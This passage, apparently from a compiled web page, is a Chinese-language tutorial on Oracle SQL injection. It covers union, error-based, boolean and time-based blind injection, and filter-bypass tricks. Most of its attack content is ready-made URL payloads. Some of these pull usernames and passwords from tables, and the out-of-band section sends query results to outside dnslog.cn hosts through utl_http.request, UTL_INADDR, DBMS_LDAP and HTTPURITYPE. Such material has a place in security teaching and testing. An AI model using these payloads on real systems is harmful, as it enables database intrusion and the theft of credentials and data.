select\u5c06\u60f3\u8981\u67e5\u8be2\u7684\u6570\u636e\u663e\u793a\u5728\u9875\u9762\u4e0a"}),"\uff0c\u6784\u9020\u6b63\u5e38\u8bed\u53e5\uff0c\u6210\u529f\u6267\u884cSQL\u8bed\u53e5\u67e5\u8be2\u6570\u636e\u3002"]}),"\n",(0,r.jsxs)(e.blockquote,{children:["\n",(0,r.jsx)(e.p,{children:"![Tip]"}),"\n",(0,r.jsxs)(e.p,{children:["\u56e0\u4e3a",(0,r.jsx)(e.code,{children:"Oracle"}),"\u662f\u5f3a\u5339\u914d\u7684\uff0c\u6240\u4ee5\u5728",(0,r.jsx)(e.code,{children:"Oracle"}),"\u8fdb\u884c\u7c7b\u4f3c",(0,r.jsx)(e.code,{children:"Union"}),"\u8054\u5408\u67e5\u8be2\u7684\u65f6\u5019\u5fc5\u987b\u8ba9\u5bf9\u5e94\u4f4d\u7f6e\u4e0a\u7684\u6570\u636e\u7c7b\u578b\u548c\u8868\u4e2d\u7684\u5217\u7684\u6570\u636e\u7c7b\u578b\u662f\u4e00\u81f4\u7684\uff0c\u4e5f\u53ef\u4ee5\u4f7f\u7528null\u4ee3\u66ff\u67d0\u4e9b\u65e0\u6cd5\u5feb\u901f\u731c\u6d4b\u51fa\u6570\u636e\u7c7b\u578b\u7684\u4f4d\u7f6e\uff0c\u6700\u540e\u67e5\u8be2\u8fd4\u56de\u6307\u5b9a\u7684\u8bb0\u5f55\u65f6\uff0c",(0,r.jsx)(e.code,{children:"oracle"}),"\u6ca1\u6709",(0,r.jsx)(e.code,{children:"limit"}),"\u51fd\u6570\uff0c\u8981\u901a\u8fc7",(0,r.jsx)(e.code,{children:"'>=0 <=1'"}),"\u8fd9\u79cd\u5f62\u5f0f\u6765\u6307\u5b9a\u3002"]}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"select \u5217\u540d from (select rownum r,\u5217\u540d from \u8868\u540d) where r>0 and r<5;\n"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u5148\u5224\u65ad\u5217\u6570,\u540cMysql\u4e00\u6837"}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"?id=1 order by 3 #\u8fd4\u56de\u6b63\u5e38\n?id=1 order by 4 #\u63d0\u793a\u62a5\u9519\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404104356826.png",alt:"image-20230404104356826"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404104405573.png",alt:"image-20230404104405573"})}),"\n",(0,r.jsx)(e.p,{children:"\u5f97\u51fa\u7ed3\u8bba\u6570\u636e\u4e3a: 3 \u5217"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u7136\u540e\u5bf9\u6bcf\u4e00\u5217\u7684\u6570\u636e\u7c7b\u578b\u8fdb\u884c\u5224\u65ad\uff08\u53ef\u4ee5\u4f7f\u7528null\u4ee3\u66ff\u67d0\u4e9b\u65e0\u6cd5\u5feb\u901f\u731c\u6d4b\u51fa\u6570\u636e\u7c7b\u578b\u7684\u4f4d\u7f6e\uff09\uff0c\u5148\u9ed8\u8ba4\u6bcf\u4e00\u5217\u5747\u4e3anull\uff0c\u7136\u540e\u4ece\u7b2c\u4e00\u5217\u5f00\u59cb\u4f9d\u6b21\u5c06null\u6539\u4e3a\u6570\u5b57\uff0c\u5982\u679c\u62a5\u9519\u5219\u8bf4\u660e\u8be5\u5217\u662f\u5b57\u7b26\u578b\uff0c\u5426\u5219\u662f\u6570\u5b57\u578b\u3002"}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"?id=-1 union select 1,null,null from dual #\u6ca1\u6709\u62a5\u9519\uff0c\u53ef\u4ee5\u5224\u65ad\u7b2c\u4e00\u4e2a\u5b57\u6bb5\u4e3a\u6570\u5b57\u578b \n?id=-1 union select 1,0,null from dual #\u6ca1\u6709\u62a5\u9519\uff0c\u53ef\u4ee5\u5224\u65ad\u7b2c\u4e00\u4e2a\u5b57\u6bb5\u4e3a\u6570\u5b57\u578b\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404104524029.png",alt:"image-20230404104524029"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404104532414.png",alt:"image-20230404104532414"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404104617733.png",alt:"image-20230404104617733"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u83b7\u53d6\u8868\u540d"}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"# \u83b7\u53d6\u7b2c\u4e00\u4e2a\u8868\u540d\u4e3aPERSONS\n?id=-1 union select null,table_name,null from user_tables where rownum=1 --+\n# \u83b7\u5f97\u7b2c\u4e8c\u4e2a\u8868\u540d\u4e3aTEST_PERSONS\n?id=-1 union select 1,table_name,null from user_tables%20 where table_name<>'PERSONS' --+\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404105233355.png",alt:"image-20230404105233355"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404105638626.png",alt:"image-20230404105638626"})}),"\n",(0,r.jsxs)(e.p,{children:["\u901a\u8fc7\u8fd9\u6837\u4e00\u4e2a\u4e00\u4e2a\u8868\u67e5\u6548\u7387\u6bd4\u8f83\u4f4e\uff0c\u53ef\u4ee5\u5148\u67e5\u8be2\u7528\u6237\u540d\uff0c\u518d\u7528\u7c7b\u4f3c mysql \u4e2d ",(0,r.jsx)(e.code,{children:"group_concat()"})," \u7684\u65b9\u5f0f\u67e5\u8be2\u8868\u540d"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"# \u67e5\u8be2\u7528\u6237\u540d\u4e3atest\n?id=-1 union select 1,(select user from dual),null,null from dual\n# \u67e5\u8be2\u7528\u6237\u540d\u4e3aORACLE1\u62e5\u6709\u7684\u6240\u6709\u8868\n?id=-1 union select 1,(select LISTAGG(table_name,',')within group(order by owner)name from all_tables where owner='TEST'),null from dual\n \n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404105828042.png",alt:"image-20230404105828042"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404105925720.png",alt:"image-20230404105925720"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u83b7\u53d6\u5b57\u6bb5\u540d"}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"# \u67e5\u8be2PERSONS\u8868\u7684\u7b2c\u4e00\u4e2a\u5b57\u6bb5\u540d\u4e3a USER_ID\n?id=-1+union+select+1,(select+column_name+from+user_tab_columns+where+rownum=1+and+table_name='PERSONS'),null+from+dual\n# \u67e5\u8be2PERSONS\u8868\u7684\u7b2c\u4e8c\u4e2a\u5b57\u6bb5\u540d\u4e3a USERNAME\n?id=-1+union+select+1,(select+column_name+from+user_tab_columns+where+rownum=1+and+table_name='PERSONS'+and+column_name<>'USER_ID'),null+from+dual\n# \u63a5\u4e0b\u6765\u540c\u7406\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404131004845.png",alt:"image-20230404131004845"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404131106052.png",alt:"image-20230404131106052"})}),"\n",(0,r.jsx)(e.p,{children:"\u540c\u6837\u5730\u53ef\u4ee5\u4f7f\u7528\u62fc\u63a5\u7684\u65b9\u5f0f\u4e00\u6b21\u6027\u67e5\u51fa\u6765"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"?id=-1+union+select+1,(select+LISTAGG(column_name,',')within+group(order+by+column_name)name+from+user_tab_columns+where+table_name='PERSONS'),null+from+dual\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404131357822.png",alt:"image-20230404131357822"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u83b7\u53d6\u6570\u636e"}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"# \u67e5\u8be2\u7b2c\u4e00\u6761\u6570\u636e\uff0cusername password\n?id=-1+union+select+1,(select+(USERNAME)+from+PERSONS+where+rownum=1),null+from+dual\n?id=-1+union+select+1,(select+(PASSWORD)+from+PERSONS+where+rownum=1),null+from+dual\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404132443734.png",alt:"image-20230404132443734"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404132501739.png",alt:"image-20230404132501739"})}),"\n",(0,r.jsx)(e.p,{children:"\u8fd8\u53ef\u4ee5\u628a\u4e24\u4e2a\u5b57\u6bb5\u62fc\u5728\u4e00\u8d77\u67e5\u51fa\u6765"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"?id=-1+union+select+2,(select+concat(concat(USERNAME,':'),PASSWORD)+from+PERSONS+where+rownum=1),null+from+dual\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404132706554.png",alt:"image-20230404132706554"})}),"\n",(0,r.jsx)(e.h3,{id:"\u62a5\u9519\u6ce8\u5165",children:"\u62a5\u9519\u6ce8\u5165"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.strong,{children:"\u62a5\u9519\u6ce8\u5165\u662f\u4e00\u79cd\u901a\u8fc7\u51fd\u6570\u62a5\u9519\u524d\u8fdb\u884c\u5b50\u67e5\u8be2\u83b7\u53d6\u6570\u636e\uff0c\u518d\u901a\u8fc7\u9519\u8bef\u9875\u9762\u56de\u663e\u7684\u4e00\u79cd\u6ce8\u5165\u624b\u6cd5\uff0c\u4e0b\u9762\u4ecb\u7ecd\u51e0\u79cd\u62a5\u9519\u6ce8\u5165\u51fd\u6570\u4ee5\u53ca\u83b7\u53d6\u4e00\u4e9b\u5e38\u89c1\u7684\u83b7\u53d6\u6570\u636e\uff0c\u5b9e\u9645\u64cd\u4f5c\u53ea\u9700\u8981\u5c06\u5b50\u67e5\u8be2\u5185\u7684\u67e5\u8be2\u8bed\u53e5\u8fdb\u884c\u66ff\u6362\u5373\u53ef\u3002"})}),"\n",(0,r.jsxs)(e.blockquote,{children:["\n",(0,r.jsx)(e.p,{children:"![Tip]"}),"\n",(0,r.jsxs)(e.p,{children:["\u8fd9\u91cc\u6709\u4e2a\u5c0f\u6280\u5de7\uff0cmysql\u4e2d\u6211\u4eec\u8fdb\u884c\u62a5\u9519\u8bed\u53e5\u901a\u5e38\u662f\u7528 ",(0,r.jsx)(e.code,{children:"="})," \u4e0e\u4e00\u4e2a\u6570\u5b57\u6216\u8005\u5b57\u7b26\u6bd4\u8f83\u6765\u6784\u9020\u62a5\u9519\u8bed\u53e5\uff0c\u4f46\u662f\u5728oracle\u4e2d\u7531\u4e8e\u5bf9\u5b57\u7b26\u7c7b\u578b\u7684\u4e25\u683c\u5224\u65ad\uff0c\u5982\u679c ",(0,r.jsx)(e.code,{children:"="})," \u4e24\u8fb9\u7684\u7c7b\u578b\u4e0d\u5339\u914d\u7684\u8bdd\u5c31\u4f1a\u8fd4\u56de\u7c7b\u578b\u4e0d\u5bf9\u7684\u62a5\u9519\uff0c\u800c\u6211\u4eec\u60f3\u8981\u7684\u62a5\u9519\u4fe1\u606f\u4e0d\u56de\u663e\u793a\uff0c\u8fd9\u91cc\u53ef\u4ee5\u5728\u62a5\u9519\u8bed\u53e5\u540e\u9762\u52a0\u4e0a ",(0,r.jsx)(e.code,{children:"is not null"})," \u6765\u66ff\u4ee3 ",(0,r.jsx)(e.code,{children:"="})," \uff0c\u5c31\u4e0d\u4f1a\u6709\u4e0a\u9762\u7684\u95ee\u9898\u3002"]}),"\n"]}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"ctxsys.drithsx.sn"}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"?id=1 and (ctxsys.drithsx.sn(1, (SELECT username FROM all_users where rownum=1)))is not null\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404134858966.png",alt:"image-20230404134858966"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"CTXSYS.CTX_REPORT.TOKEN_TYPE"}),"\n"]}),"\n",(0,r.jsxs)(e.p,{children:["\u4f5c\u7528\u4e0e ",(0,r.jsx)(e.code,{children:"ctxsys.drithsx.sn"})," \u7c7b\u4f3c\uff0c\u7528\u4e8e\u5904\u7406\u6587\u672c"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"?id=-1+and+(select+CTXSYS.CTX_REPORT.TOKEN_TYPE((SELECT+username+FROM+all_users+where+rownum=1),'123')+from+dual)is+not+null \n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404135230818.png",alt:"image-20230404135230818"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"XMLType"}),"\n"]}),"\n",(0,r.jsxs)(e.p,{children:["XMLType \u5728\u8c03\u7528\u7684\u65f6\u5019\u5fc5\u987b\u4ee5",(0,r.jsx)(e.code,{children:"<:"}),"\u5f00\u5934\uff0c",(0,r.jsx)(e.code,{children:">"}),"\u7ed3\u5c3e\uff0c\u5373 ",(0,r.jsx)(e.code,{children:"'<:'||balabala||'>'"})," \u6216\u8005 ",(0,r.jsx)(e.code,{children:"chr(60)||chr(58)balabal||chr(62\uff09"}),"\u3002\u53e6\u5916\u9700\u8981\u6ce8\u610f\u7684\u662f\u5982\u679c\u8fd4\u56de\u7684\u6570\u636e\u79cd\u6709\u7a7a\u683c\u7684\u8bdd\uff0c\u5b83\u4f1a\u81ea\u52a8\u622a\u65ad\uff0c\u5bfc\u81f4\u6570\u636e\u4e0d\u5b8c\u6574\uff0c\u8fd9\u79cd\u60c5\u51b5\u4e0b\u5148\u8f6c\u4e3a hex\uff0c\u518d\u5bfc\u51fa\u3002"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"?id=-1+and+(select+upper(XMLType(chr(60)||chr(58)||(select+user+from+dual)||chr(62)))+from+dual)is+not+null\n?id=1+and+(select+XMLType('<:'||(select+user+from+dual)||'>')+from+dual)is+not+null\n \n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404140028285.png",alt:"image-20230404140028285"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404140140485.png",alt:"image-20230404140140485"})}),"\n",(0,r.jsx)(e.h3,{id:"\u5e03\u5c14\u76f2\u6ce8",children:"\u5e03\u5c14\u76f2\u6ce8"}),"\n",(0,r.jsx)(e.p,{children:"\u901a\u8fc7\u6784\u9020\u4e0d\u540c\u6761\u4ef6,\u8fd4\u56de\u8fd4\u56de\u9875\u9762\u7684\u4e0d\u540c,\u5c31\u5f62\u6210\u4e86Bool\u503c\u7684\u6ce8\u5165"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsxs)(e.li,{children:["\u76f4\u63a5\u4f7f\u7528 ",(0,r.jsx)(e.code,{children:"substr()"})," \u5206\u5272\u5b57\u7b26\u4e32\u8fdb\u884c\u76f2\u6ce8"]}),"\n"]}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.code,{children:"substr()"})," \uff1a\u7528\u6cd5\u548cmysql\u4e00\u6837\uff0c\u540c\u6837\u662f\u8981\u4ece1\u5f00\u59cb\uff0c\u800c\u4e0d\u662f0\u3002"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"# \u76f2\u6ce8\u7528\u6237\u540d\u7b2c\u4e00\u4f4d\n# \u8fd4\u56de\u6b63\u5e38\u9875\u9762\n?id=-1+or+(select+substr(user,1,1)+from+dual)='T'\n# \u8fd4\u56de\u6ca1\u6709\u627e\u5230\u5bf9\u5e94\u6570\u636e\n?id=-1+or+(select+substr(user,1,1)+from+dual)='a'\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404141831145.png",alt:"image-20230404141831145"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404141854020.png",alt:"image-20230404141854020"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsxs)(e.li,{children:["\u901a\u8fc7 ",(0,r.jsx)(e.code,{children:"substr()"})," \u3001",(0,r.jsx)(e.code,{children:"decode()"})," \u51fd\u6570\u7684\u76f2\u6ce8(\u5e38\u7528)"]}),"\n"]}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.code,{children:"decode(\u5b57\u6bb5\u6216\u5b57\u6bb5\u7684\u8fd0\u7b97, \u503c1, \u503c2, \u503c3)"})," \uff1a\u5f53\u5b57\u6bb5\u6216\u5b57\u6bb5\u7684\u8fd0\u7b97\u7684\u503c\u7b49\u4e8e\u503c1\u65f6\uff0c\u8be5\u51fd\u6570\u8fd4\u56de\u503c2\uff0c\u5426\u5219\u8fd4\u56de3\u3002\u5f53\u7136\u503c1\uff0c\u503c2\uff0c\u503c3\u4e5f\u53ef\u4ee5\u662f\u8868\u8fbe\u5f0f\uff0c\u8fd9\u4e5f\u4e3a\u540e\u9762\u7684\u65f6\u95f4\u76f2\u6ce8\u63d0\u4f9b\u4e86\u4fbf\u5229\u3002"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"?id=-1+or+1=(select+decode(substr((select+user+from+dual),1,1),'T',1,0)+from+dual\n?id=-1+or+1=(select+decode(substr((\u5b50\u8bed\u53e5),1,1),'T',1,0)+from+dual\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404142433698.png",alt:"image-20230404142433698"})}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"?id=-1+or+(select+ascii(substr((select+user+from+dual),1,1))from+dual)=84 # T\n?id=-1+or+(select+ascii(substr((\u5b50\u8bed\u53e5),1,1))from+dual)=84\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404142740903.png",alt:"image-20230404142740903"})}),"\n",(0,r.jsxs)(e.p,{children:["\u914d\u5408\u4e0a",(0,r.jsx)(e.code,{children:"case"}),"\u3001",(0,r.jsx)(e.code,{children:"substr()"}),"\u51fd\u6570\u7684\u65b9\u5f0f"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"?id=-1+or+1=(case+when+ascii(substr(user,1,1))=84+then+1+else+0+end)\n?id=-1+or+1=(case+when+ascii(substr((\u5b50\u8bed\u53e5),1,1))=84+then+1+else+0+end)\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404142933474.png",alt:"image-20230404142933474"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsxs)(e.li,{children:["\u901a\u8fc7 ",(0,r.jsx)(e.code,{children:"instr()"}),"\u51fd\u6570\u7684\u76f2\u6ce8"]}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"?id=-1+or+(instr((select+user+from+dual),'T'))=1\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404143058960.png",alt:"image-20230404143058960"})}),"\n",(0,r.jsxs)(e.p,{children:["\u914d\u5408\u4e0a",(0,r.jsx)(e.code,{children:"case"})," \u548c ",(0,r.jsx)(e.code,{children:"chr()"})," \u5c31\u53ef\u4ee5\u5bf9ASCII\u7801\u6570\u5b57\u8fdb\u884c\u76f2\u6ce8\uff08\u76f8\u5bf9\u590d\u6742\u4e00\u70b9\uff09"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"?id=-1+or+1=(case+instr+(user,chr(84),1,1)+when+1+then+1+else+0+end) --+\n?id=-1+or+1=(case+instr+((\u5b50\u8bed\u53e5),chr(84),1,1)+when+1+then+1+else+0+end) --+\n"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"DBMS_PIPE.RECEIVE_MESSAG"}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"?id=1+and+1=(dbms_pipe.receive_message('RDS',5))\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404143456371.png",alt:"image-20230404143456371"})}),"\n",(0,r.jsxs)(e.p,{children:["\u914d\u5408",(0,r.jsx)(e.code,{children:"docode()"})," \u8fdb\u884c\u5ef6\u65f6"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"?id=-1+or+1=(select+decode(substr(user,1,1),'T',dbms_pipe.receive_message('RDS',5),0)+from+dual)\n?id=-1+or+1=(select+decode(substr((\u5b50\u8bed\u53e5),1,1),'T',dbms_pipe.receive_message('RDS',5),0)+from+dual)\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404143613656.png",alt:"image-20230404143613656"})}),"\n",(0,r.jsx)(e.h3,{id:"\u5916\u5e26\u653b\u51fboobout-of-band",children:"\u5916\u5e26\u653b\u51fbOOB\uff08Out Of Band\uff09"}),"\n",(0,r.jsx)(e.p,{children:"\u901a\u8fc7HTTP\u8bf7\u6c42,\u6216\u8005DNSlog,\u6765\u6784\u9020\u8bed\u53e5,\u5982\u679c\u76ee\u6807\u51fa\u7f51,\u5e76\u4e14\u5bf9\u6570\u636e\u5e93\u51fd\u6570\u6ca1\u6709\u8fdb\u884c\u9650\u5236,\u5c31\u4f1a\u5b9e\u73b0\u653b\u51fb"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"utl_http.request"}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"?id=-1 and utl_http.request('http://'||(select user from dual)||'.k4m0qx.dnslog.cn/')is not null\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404144339171.png",alt:"image-20230404144339171"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"utl_inaddr.get_host_address"}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"?id=-1 and utl_inaddr.get_host_address((select user from dual)||'.kgsfi8.dnslog.cn')is not null\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404144432252.png",alt:"image-20230404144432252"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"SYS.DBMS_LDAP.INIT"}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"?id=-1 and DBMS_LDAP.INIT((select user from dual)||'.wxe59v.dnslog.cn',80)is not null\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404144549520.png",alt:"image-20230404144549520"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"HTTPURITYPE"}),"\n"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"?id=1 and (select HTTPURITYPE('http://'||(select user from dual)||'.t1hbkg.dnslog.cn/').GETCLOB() FROM DUAL)is not null --\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/image-20230404144709664.png",alt:"image-20230404144709664"})}),"\n",(0,r.jsx)(e.h2,{id:"\u7ed5\u8fc7",children:"\u7ed5\u8fc7"}),"\n",(0,r.jsx)(e.h3,{id:"\u7f16\u7801\u7ed5\u8fc7",children:"\u7f16\u7801\u7ed5\u8fc7"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsxs)(e.li,{children:["\u4f7f\u7528",(0,r.jsx)(e.code,{children:"hextoraw()"}),"\u548c",(0,r.jsx)(e.code,{children:"asciistr()"}),"\u914d\u5408",(0,r.jsx)(e.code,{children:"UTL_RAW.CAST_TO_VARCHAR2()"}),"\u51fd\u6570\u6765\u5b9e\u73b0\u7f16\u7801\u7684\u7ed5\u8fc7\u3002"]}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u9996\u5148\u53ef\u4ee5\u5c06\u5b57\u7b26\u53d8\u621016\u8fdb\u5236\u7f16\u7801\u5f62\u5f0f\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"SELECT rawtohex('abcdef') FROM dual; # \u5f97\u5230616263646566\n"})}),"\n",(0,r.jsxs)(e.p,{children:["\u7136\u540e\u5728\u8f93\u5165\u7684\u65f6\u5019\u501f\u52a9",(0,r.jsx)(e.code,{children:"UTL_RAW.CAST_TO_VARCHAR2"})," \u548c ",(0,r.jsx)(e.code,{children:"hextoraw"})," \u5c0616\u8fdb\u5236\u8fd8\u539f\u4e3a\u5b57\u7b26\u4e32"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"SELECT UTL_RAW.CAST_TO_VARCHAR2(hextoraw(616263646566)) FROM dual; # \u8f93\u51faabcdef\n"})}),"\n",(0,r.jsx)(e.h3,{id:"\u7a7a\u683c\u7ed5\u8fc7",children:"\u7a7a\u683c\u7ed5\u8fc7"}),"\n",(0,r.jsxs)(e.p,{children:["\u5e38\u7528\u4e8e\u66ff\u6362\u7a7a\u683c",(0,r.jsx)(e.code,{children:"%20"})," \u7684\u5176\u4ed6\u5b57\u7b26",(0,r.jsx)(e.code,{children:"%0a\u3001%0b\u3001%2b\u3001%0c\u3001%0d\u3001%00\u3001%20\u3001%09"})]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"SELECT 1 FROM dual; \u6b63\u5e38\u8bed\u53e5\nSELECT%0a1%0aFROM%0adual; \\n\u6362\u884c\u6765\u66ff\u4ee3\u7a7a\u683c\nSELECT%0b1%0bFROM%0bdual; \u4f7f\u7528tab\u6765\u66ff\u6362\u7a7a\u683c\nSELECT%0c1%0cFROM%0cdual; \u4f7f\u7528\\r\u56de\u8f66\u5f00\u66ff\u6362\u7a7a\u683c\nSELECT/**/1/**/FROM/**/dual; \u591a\u884c\u6ce8\u91ca\u7b26\u6765\u66ff\u4ee3\u56de\u8f66\nSELECT--%0a1--%0aFROM--%0adual; \u5355\u884c\u6ce8\u91ca\u7b26\u548c\u6362\u884c\u6765\u66ff\u4ee3\u56de\u8f66\nSELECT/*!12321SELECT*/1/*!12321AND*/FROM/*!12321QWE*/dual; \u4f7f\u7528\u5185\u8054\u6ce8\u91ca\u7b26\n"})}),"\n",(0,r.jsx)(e.h3,{id:"\u62fc\u63a5\u6362\u884c\u56de\u8f66\u7b26",children:"\u62fc\u63a5\u6362\u884c\u56de\u8f66\u7b26"}),"\n",(0,r.jsxs)(e.p,{children:["Oracle\u4e2d\u7528",(0,r.jsx)(e.code,{children:"CHR(10)"}),"\u8868\u793a\u6362\u884c\u3001",(0,r.jsx)(e.code,{children:"CHR(13)"}),"\u8868\u793a\u56de\u8f66\u3001\u5b57\u7b26\u4e32\u62fc\u63a5\u4f7f\u7528",(0,r.jsx)(e.code,{children:"||"}),"\uff0c\u90a3\u4e48\u56de\u8f66\u6362\u884c\u5373\u662f",(0,r.jsx)(e.code,{children:"chr(13)||chr(10)"}),"\u3002"]}),"\n",(0,r.jsxs)(e.p,{children:["\u53ea\u8981\u662f",(0,r.jsx)(e.code,{children:"select from 